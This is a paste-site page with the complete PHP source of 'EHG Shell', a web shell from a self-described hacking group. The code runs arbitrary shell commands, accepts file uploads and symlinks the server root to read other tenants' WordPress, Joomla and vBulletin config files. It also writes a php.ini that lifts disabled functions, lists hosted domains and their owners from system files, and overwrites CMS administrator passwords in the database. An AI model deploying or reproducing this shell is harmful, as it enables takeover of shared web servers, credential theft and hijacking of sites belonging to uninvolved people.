EHG Shell - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 6:58 a.m.

FORMAT: PHP

SIZE: 22.0 kB

HITS: 479

  1. <?php
  2. error_reporting(0);
  3. $il_admin = array("ehg",md5("ehgvn"));
  4. $il_login = 1; //0 Dissable Login,1 Enable Login
  5. //Check login Disable/Enable By Joker Dark Knight
  6. if ($il_login == 1){
  7. session_start();
  8. }
  9. else {
  10. echo "<center><font color='red'>Warring :EHGShell Login is <b>Disable</b></font></center>";
  11. }
  12. if ($il_login == 1 && $_REQUEST['user'] != $il_admin[0] && $_REQUEST['pass'] != $il_admin[1]){
  13. ?>
  14. <html>
  15. <head>
  16. <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
  17. <meta name="Author" content="Joker Dark Knight"/>
  18. <title> Shell Login </title>
  19. <style type="text/css">
  20. body {background-color: #000;}
  21. div.khung {
  22. border: 1px solid #fff;
  23. }
  24. p,font {
  25. color: red;
  26. }
  27. input {
  28. border: 1px solid red;
  29. background-color: #000;
  30. color: #fff;
  31. padding: 3px;
  32. width: 160px;
  33. }
  34. input:hover,input:active {
  35. border:dotted red;
  36. }
  37. </style>
  38. </head>
  39. <body>
  40. <center>
  41. <div class="khung" style="width: 30%">
  42. <font><b>Warring</b>: Not Permission, Please login shell !</font><br />
  43. <form method="POST" action="">
  44. <font>Username&nbsp </font><input type="text" name="user" Placeholder=" Username... "/><br />
  45. <font>Password&nbsp </font><input type="password" name="pass" placeholder=" Password... "/><br />
  46. <input type="submit" value="Login" name="login" style="float: right"/>
  47. </form>
  48. <br />
  49. </div>
  50. </center>
  51. </body>
  52. </html>
  53. <?php
  54. exit;
  55. }
  56. if ($il_login == 1 && $_REQUEST['login'] && $_REQUEST['user'] == $il_admin[0] && md5($_REQUEST['pass']) == $il_admin[1]){
  57. $_SESSION['jokervhbvhg'] = 1;
  58. }
  59. ?>
  60. <?php if ($_SESSION['JokerVHBVHG'] == 1){?>--> Login as [<b><?php print ($il_admin[0]); ?></b>] - <a href="?cmd=logout" > Logout </a> <?php } ?>
  61. <?php
  62. if ($_GET['cmd'] == 'logout'){
  63. $_SESSION['jokervhbvhg'] = 0;
  64. }
  65. $head = '
  66. <html>
  67. <head>
  68. </script>
  69. <title>--==[[E H G SHELL by Joker Dark Knight]]==--</title>
  70. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  71. <STYLE>
  72. body {
  73. font-family: Tahoma
  74. }
  75. tr {
  76. BORDER: dashed 1px #333;
  77. color: #FFF;
  78. }
  79. td {
  80. BORDER: dashed 1px #333;
  81. color: #FFF;
  82. }
  83. .table1 {
  84. BORDER: 0px Black;
  85. BACKGROUND-COLOR: Black;
  86. color: #FFF;
  87. }
  88. .td1 {
  89. BORDER: 0px;
  90. BORDER-COLOR: #333333;
  91. font: 7pt Verdana;
  92. color: Green;
  93. }
  94. .tr1 {
  95. BORDER: 0px;
  96. BORDER-COLOR: #333333;
  97. color: #FFF;
  98. }
  99. table {
  100. BORDER: dashed 1px #333;
  101. BORDER-COLOR: #333333;
  102. BACKGROUND-COLOR: Black;
  103. color: #FFF;
  104. }
  105. input {
  106. border : dashed 1px;
  107. border-color : #333;
  108. BACKGROUND-COLOR: Black;
  109. font: 8pt Verdana;
  110. color: Red;
  111. }
  112. select {
  113. BORDER-RIGHT: Black 1px solid;
  114. BORDER-TOP: #DF0000 1px solid;
  115. BORDER-LEFT: #DF0000 1px solid;
  116. BORDER-BOTTOM: Black 1px solid;
  117. BORDER-color: #FFF;
  118. BACKGROUND-COLOR: Black;
  119. font: 8pt Verdana;
  120. color: Red;
  121. }
  122. submit {
  123. BORDER: buttonhighlight 2px outset;
  124. BACKGROUND-COLOR: Black;
  125. width: 30%;
  126. color: #FFF;
  127. }
  128. textarea {
  129. border : dashed 1px #333;
  130. BACKGROUND-COLOR: Black;
  131. font: Fixedsys bold;
  132. color: #999;
  133. }
  134. BODY {
  135. SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
  136. margin: 1px;
  137. color: Red;
  138. background-color: Black;
  139. }
  140. .main {
  141. margin : -287px 0px 0px -490px;
  142. BORDER: dashed 1px #333;
  143. BORDER-COLOR: #333333;
  144. }
  145. .tt {
  146. background-color: Black;
  147. }
  148. A:link {
  149. COLOR: White; TEXT-DECORATION: none
  150. }
  151. A:visited {
  152. COLOR: White; TEXT-DECORATION: none
  153. }
  154. A:hover {
  155. color: Red; TEXT-DECORATION: none
  156. }
  157. A:active {
  158. color: Red; TEXT-DECORATION: none
  159. }
  160. </STYLE>
  161. <script language=\'javascript\'>
  162. function hide_div(id)
  163. {
  164. document.getElementById(id).style.display = \'none\';
  165. document.cookie=id+\'=0;\';
  166. }
  167. function show_div(id)
  168. {
  169. document.getElementById(id).style.display = \'block\';
  170. document.cookie=id+\'=1;\';
  171. }
  172. function change_divst(id)
  173. {
  174. if (document.getElementById(id).style.display == \'none\')
  175. show_div(id);
  176. else
  177. hide_div(id);
  178. }
  179. </script>'; ?>
  180. <html>
  181. <head>
  182. <?php
  183. echo $head ;
  184. echo '
  185. <table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
  186. <td width="100%" align=center valign="top" rowspan="1">
  187. <font color=red size=5 face="comic sans ms"><b>--==[[ EHG SH</font><font color=white size=5 face="comic sans ms"><b>ELL By Joker Dark Knight </font><font color=green size=5 face="comic sans ms"><b> ]]==--</font> <div class="hedr">
  188. <td height="10" align="left" class="td1"></td></tr><tr><td
  189. width="100%" align="center" valign="top" rowspan="1"><font
  190. color="red" face="comic sans ms"size="1"><b>
  191. <font color=red>
  192. ####################################################</font><font color=white>#####################################################</font><font color=green>####################################################</font><br><font color=white>-==[[ For Members of the EHG]]==--</font><br> This shell was written by J D K. Or another way to say that this shell was editing by J D K. Hihihi<br>EHG is Empty Hacker Group<br>We Are Great Legion<br>We Are Power<br> We Do Not Forgive<br> We Do Not Forget <br> Expect and Join with Us...<br> We Are Expecting U...<br><font color=white>--==[[Some members from to the EHG]]==--</font>
  193. <br># Van Cuong, Joker Dark Knight, Fwh Nguyen,Huu Duc XCryperx, Nguyen Trong Hai, Pham Thanh, Thai Chippi v.v... #<br><font color=red>
  194. ####################################################</font><font color=white>#####################################################</font><font color=green>####################################################</font>
  195. </table>
  196. ';
  197. ?>
  198. </head>
  199. <body bgcolor="black"><body bgcolor="black">
  200. <table border=1 width=100%><td width=15% align=right><font color=red size=-2 face="comic sans ms">uname<br>server_ip<br>your_ip<br>server_software<br>disabled_functions</td><td><?php echo "<font size=-2>".php_uname() ;?> <br><?php echo "<font size=-2>".gethostbyname($_SERVER["HTTP_HOST"]);?><br><?php echo $_SERVER['REMOTE_ADDR'];?><br><?php echo $s_software = getenv("SERVER_SOFTWARE"); ?><br><?php $r=ini_get('disable_functions') ? ini_get('disable_functions'):'none'; echo $r;?>
  201. </table><?php echo $head ; ?><table width=100% ><tr><td align=center width=60% >
  202. <?php
  203. if(!isset($_POST['sbexe']))
  204. {
  205. ?>
  206. <textarea name=output cols="100" rows="10" ><?php
  207. $r="ls -l";
  208. echo shell_exec($r); ?></textarea>
  209. <?php
  210. }
  211. else
  212. {
  213. if(isset($_POST['sbexe']))
  214. {
  215. echo "<font size=3>";
  216. $cmde=$_POST["cmex"];
  217. ?><textarea name=output cols="100" rows="10" ><?php echo shell_exec($cmde); ?></textarea>
  218. <?php
  219. } }
  220. ?>
  221. <tr><td align=center><font color=white size=3 face="comic sans ms">--==[[Command
  222. execution]]==--</font></font><form method=POST>
  223. <input type name=cmex >
  224. <input type=submit name=sbexe value='HEX it now' /></form>
  225. </td></tr>
  226. </table><table border=1 width=100%> <tr><td align=center><?php
  227. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  228. echo '<input type="file" name="file" size="50">&nbsp&nbsp&nbsp&nbsp<input type="submit" name="sut" value="Upload"></form>';
  229. if( isset($_POST['sut']) )
  230. {
  231. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']))
  232. { echo '<font color=red size=-2 face="comic sans ms">upload done<<br><br>'; }
  233. else { echo '<font color=red size=-2 face="comic sans ms">Upload failed :P<br>'; } }
  234. ?>
  235. <table width=100%>
  236. <tr><td align=center><a href="<?php echo "?wjc" ; ?>"><font color=white size=2 face="comic sans ms"><b>--==[[</font><font color=red size=2 face="comic sans ms">CMS based symlink,VBulletin,wordpress and Joomla password changer</font><font color=white size=2 face="comic sans ms">]]==--</a></table>
  237. <?php
  238. echo $head;
  239. if(isset($_GET['wjc']))
  240. {
  241. ?>
  242. <table width=100%><tr><td align=center><font color="red" size="3" face="comic sans ms">cms based
  243. symlink</font></a></td><td width=25% align=center><font color=white size=3 face="comic sans ms">VBulletin-pass changer</font></a>
  244. </td><td align=center><font color=white size=3 face="comic sans ms">wordpress-pass changer</font></a>
  245. </td><td width="20%"align=center><font color=red size=3 face="comic sans ms">Joomla-pass changer</font></a> </td></tr><td align=left> <?php
  246. //cms based symlink funcion
  247. echo "<Form Method =Post ACTION =' '>";
  248. echo "<font size=2 color=white face='comic sans ms'>website username <input type='text' name='uname'>&nbsp&nbsp&nbsp<br> ";
  249. echo "<font color='white' size=2 face='comic sans ms'><Input type = 'Radio' Name ='config' value='wordpress'><font color='white'>wordpress";
  250. echo "<br><Input type = 'Radio' Name ='config' value= 'joomla'><font color='white' size=2 face='comic sans ms'>joomla<br>";
  251. echo "<Input type = 'Radio' Name ='config' value= 'vBulletin'><font color='white' size=2 face='comic sans ms'>vBulletin";
  252. echo "<br><Input type = 'Radio' Name ='config' value= 'any'><font color='white' size=2 face='comic sans ms'>public_html";
  253. echo "<p>";
  254. echo "<Input type = 'Submit' Name = 'Submit1' Value = '>>'>";
  255. echo "</FORM>";
  256. if(isset($_POST['Submit1']))
  257. {
  258. $r=$_POST["config"];
  259. if($r=="wordpress")
  260. {
  261. $y=trim($_POST["uname"]);
  262. function curPageURL() {
  263. $pageURL = 'http';
  264. $pageURL .= "://";
  265. if ($_SERVER["SERVER_PORT"] != "80") {
  266. $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
  267. $pageURL =$URL;
  268. } else {
  269. $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  270. }
  271. return $pageURL;
  272. }
  273. $r= dirname(curPageURL());
  274. $x=$r."/indishell/root/home/".$y."/public_html/wp-config.php";
  275. echo "<br \><a href=". $x."><font color=white size=2 face='comic sans ms'>link to wp-config.php</a>";
  276. }
  277. elseif($r=="joomla")
  278. {
  279. $un=trim($_POST["uname"]);
  280. function curPageURL() {
  281. $pageURL = 'http';
  282. $pageURL .= "://";
  283. if ($_SERVER["SERVER_PORT"] != "80") {
  284. $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
  285. $pageURL =$URL;
  286. } else {
  287. $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  288. }
  289. return $pageURL;
  290. }
  291. $r= dirname(curPageURL());
  292. $x=$r."/indishell/root/home/".$un."/public_html/configuration.php";
  293. echo "<br \><a href=". $x."><font color=white size=2 face='comic sans ms'>link to configuration.php</a>";
  294. }
  295. elseif($r=="vBulletin")
  296. {
  297. $y=trim($_POST["uname"]);
  298. function curPageURL() {
  299. $pageURL = 'http';
  300. $pageURL .= "://";
  301. if ($_SERVER["SERVER_PORT"] != "80") {
  302. $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
  303. $pageURL =$URL;
  304. } else {
  305. $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  306. }
  307. return $pageURL;
  308. }
  309. $r= dirname(curPageURL());
  310. $x=$r."/indishell/root/home/".$y."/public_html/includes/config.php";
  311. echo "<br \><a href=". $x."><font color=white size=2 face='comic sans ms'>link to includes/config.php</a>";
  312. }
  313. elseif($r=="any")
  314. {
  315. $y=trim($_POST["uname"]);
  316. function curPageURL() {
  317. $pageURL = 'http';
  318. $pageURL .= "://";
  319. if ($_SERVER["SERVER_PORT"] != "80") {
  320. $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
  321. $pageURL =$URL;
  322. } else {
  323. $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  324. }
  325. return $pageURL;
  326. }
  327. $r= dirname(curPageURL());
  328. $x=$r."/indishell/root/home/".$y."/public_html/";
  329. echo "<br \><a href=". $x."><font color=white size=2 face='comic sans ms'>link to public_html directory</a>";
  330. }
  331. }
  332. ?>
  333. </td><td width=25 align=right><font size=2 color=red face=comic sans ms>
  334. <body bgcolor=black><font color=red><form method=POST>
  335. <font size=2 color=white face='comic sans ms'>Host:<input type=text name=lh value=localhost><br>
  336. <font size=2 color=white face='comic sans ms'>Datbase_name:<input type=text name="dbn" ><br>
  337. <font size=2 color=white face='comic sans ms'>Database_Username:<input type=text name="dbu"><br>
  338. <font size=2 color=white face='comic sans ms'>Database_password:<input type=text name="dbp"><br>
  339. <font size=2 color=white face='comic sans ms'><input type=submit name=sb value=">>" /> </form>
  340. <?php
  341. if(isset($_POST['sb']))
  342. {
  343. $r=$_POST["dbn"];
  344. $s=$_POST["dbu"];
  345. $t=$_POST["dbp"];
  346. $Connect = @mysql_select_db($_POST['dbn'],mysql_pconnect($_POST['lh'],$_POST['dbu'],$_POST['dbp']));
  347. $sqlcm=@mysql_query("UPDATE 'user' SET 'password' = 'e68f496a84ae3e9d98c130992734648b','salt' = '+-~' WHERE 'userid' = '1' LIMIT 1");
  348. if($sqlcm){
  349. echo "try with password 0123456";
  350. }
  351. }
  352. ?>
  353. </td><td width=25% align=right><font size=2 color=red face=comic sans ms>
  354. <form method=POST>
  355. <br><font size=2 color=white face='comic sans ms'>Host</font><font color=red><input type= name=ht value=localhost><br>
  356. <font size=2 color=white face='comic sans ms'>Database_name</font><input type=text name=db_name ><br>
  357. <font size=2 color=white face='comic sans ms'>Database_user</font><input type=text name=db_us ><br>
  358. <font size=2 color=white face='comic sans ms'>Database_password</font><input type=text name=db_ps ><br>
  359. <font size=2 color=white face='comic sans ms'>New_username</font><input type=text name=nw_name ><br>
  360. <font size=2 color=white face='comic sans ms'>New_pass</font><input type=text name=nw_pass ><br>
  361. <br>
  362. <input type=submit name=smt value=">>" /></form></td><td width=25% align=right>
  363. <form method=POST><br>
  364. <font size=2 color=white face='comic sans ms'>Host</font><font color=red><input type= name=ht value=localhost><br>
  365. <font size=2 color=white face='comic sans ms'>Database_name</font><input type=text name=db_name ><br>
  366. <font size=2 color=white face='comic sans ms'>Database_user</font><input type=text name=db_us ><br>
  367. <font size=2 color=white face='comic sans ms'>Database_password</font><input type=text name=db_ps ><br>
  368. <font size=2 color=white face='comic sans ms'>New_username</font><input type=text name=nw_name ><br>
  369. <font size=2 color=white face='comic sans ms'>New_pass</font><input type=text name=nw_pass ><br>
  370. <br>
  371. <input type=submit name=smit value=">>" /></form></td></tr></table>
  372. <?php }
  373. ?>
  374. <table border=1 width=100% hight=100%><td align=center> <a href="<?php echo '?symlink'?>"><font
  375. color=white size=3 face="comic sans ms">Symlink the_R00t
  376. folder</a></font></td><td align=center><a href="<?php echo '?du';?>"><font
  377. color=red size=3 face="comic sans ms">website and
  378. username</td><td align=center><a href="<?php echo '?etv'?>"><font
  379. color=white size=3 face="comic sans ms">username (ls
  380. /etc/valiases)</a></td></tr></table>
  381. <table width=100%><tr><td
  382. align=center><a href="<?php echo '?ds';?>"><font color=white size=3 face="comic sans ms" >--==[[Generate php.ini file]]==--</a>
  383. </td></tr>
  384. </font></font></font>
  385. </table>
  386. <?php
  387. error_reporting(0);
  388. if(isset($_GET['symlink']))
  389. {
  390. $mk = mkdir('indishell',0777);
  391. $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  392. $f = fopen('indishell/.htaccess','w');
  393. $indishell = symlink("/","indishell/root");
  394. fwrite($f , $r);
  395. function curPageURL() {
  396. $pageURL = 'http';
  397. $pageURL .= "://";
  398. if ($_SERVER["SERVER_PORT"] != "80") {
  399. $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
  400. $pageURL =$URL;
  401. } else {
  402. $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  403. }
  404. return $pageURL;
  405. }
  406. $r= dirname(curPageURL());
  407. $x=$r."/indishell/root";
  408. echo "<p><a href=".$x."><font color=white size=4 face='comic sans ms'>check this link for symlink </a>";
  409. }
  410. ?>
  411. <?php
  412. if(isset($_GET['ds']))
  413. {
  414. $htcs = " disable_functions =none ";
  415. $f = fopen('php.ini','w');
  416. fwrite($f , $htcs);
  417. function curPageURL() {
  418. $pageURL = 'http';
  419. $pageURL .= "://";
  420. if ($_SERVER["SERVER_PORT"] != "80") {
  421. $URL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
  422. $pageURL =$URL;
  423. } else {
  424. $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  425. }
  426. return $pageURL;
  427. }
  428. $r= dirname(curPageURL());
  429. $x=$r."/php.ini";
  430. echo "<br \><a href=". $x."><font color=white size=4 face='comic sans ms'>link to php.ini</a>";
  431. }
  432. ?>
  433. <?php
  434. ?>
  435. <?php
  436. if(isset($_GET['du']))
  437. {
  438. $d0mains = @file("/etc/named.conf");
  439. if(!$d0mains){ die("<font size=3><b><font color=white>error in reading /etc/named.conf "); }
  440. echo "<table align=center border=1>
  441. <tr><td><font size=3 face='comic sans ms'>website</td><td><font size=3 face=comic sans ms>username</font></td></tr>";
  442. foreach($d0mains as $d0main){
  443. if(eregi("zone",$d0main)){
  444. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  445. flush();
  446. if(strlen(trim($domains[1][0])) > 2){
  447. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  448. echo "<tr><td><a href=http://www.".$domains[1][0]."/><font color=white face='comic sans ms'>".$domains[1][0]."</a></td><td><font color=white face='comic sans ms'>".$user['name']."</td></tr>"; flush();
  449. }}}
  450. }?>
  451. <?php
  452. echo "<font color=white>";
  453. if(isset($_GET['etv']))
  454. {
  455. echo $head;
  456. echo "<form method=post>";
  457. echo "<br><font color=white size=4 face=comic sans ms>website name :<input type=text name=webn>";
  458. echo "<br><br>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input type=submit name=we value=^_^ /></form><br>";
  459. }
  460. ?>
  461. <?php
  462. if(isset($_POST['we']))
  463. {
  464. $text=$_POST["webn"];
  465. $text1=trim($text);
  466. $te1 = ereg_replace("(https?)://", "", $text1);
  467. $te = ereg_replace("www.", "", $te1);
  468. $d="ls -la /etc/valiases/".$te;
  469. echo shell_exec($d);
  470. }
  471. ?>
  472. <?php
  473. if(isset($_GET['wp-reset']))
  474. {
  475. ?>
  476. <?php
  477. }
  478. ?>
  479. <?php
  480. if(isset($_POST['smt']))
  481. {
  482. $host=$_POST["ht"];
  483. $dbn=$_POST["db_name"];
  484. $dbu=$_POST["db_us"];
  485. $dbp=$_POST["db_ps"];
  486. $nn=$_POST["nw_name"];
  487. $np=$_POST["nw_pass"];
  488. $npwd= md5($np);
  489. $dbconnect=@ mysql_connect($host,$dbu,$dbp);
  490. $dbslect=@ mysql_select_db($dbn);
  491. $npwd= md5($np);
  492. $ru=@ mysql_query("UPDATE `wp_users` SET `user_login` ='".$nn."' WHERE ID = 1") ;
  493. $ru= @ mysql_query("UPDATE `wp_users` SET `user_pass` ='".$npwd."' WHERE ID = 1") ;
  494. if(!$ru)
  495. {
  496. echo "<font size=2 color=white face='comic sans ms'><br>something went wrong :P";
  497. }
  498. else {
  499. echo "<font size=2 color=white face='comic sans ms'><br>try to login with new password :D";
  500. }
  501. }
  502. ?>
  503. <?php
  504. if(isset($_POST['smit']))
  505. {
  506. $host=$_POST["ht"];
  507. $dbn=$_POST["db_name"];
  508. $dbu=$_POST["db_us"];
  509. $dbp=$_POST["db_ps"];
  510. $nn=$_POST["nw_name"];
  511. $np=$_POST["nw_pass"];
  512. $npwd= md5($np);
  513. $dbconnect=@ mysql_connect($host,$dbu,$dbp);
  514. $dbslect=@ mysql_select_db($dbn);
  515. $npwd= md5($np);
  516. $run =@mysql_query("UPDATE `jos_users` SET username ='".$nn."' WHERE usertype ='Super Administrator'");
  517. $run =@mysql_query("UPDATE `jos_users` SET password ='".$npwd."' WHERE usertype = 'Super Administrator'");
  518. $run =@mysql_query("UPDATE `jos_users` SET username ='".$nn."' WHERE usertype = 'deprecated'");
  519. $run =@mysql_query("UPDATE `jos_users` SET password ='".$npwd."' WHERE usertype = 'deprecated'");
  520. if(!$run)
  521. {
  522. echo "<font size=2 color=white face='comic sans ms'><br>something went wrong :P";
  523. }
  524. else {
  525. echo "<font size=2 color=white face='comic sans ms'><br>done :D";
  526. }
  527. }
  528. ?>

comments powered by Disqus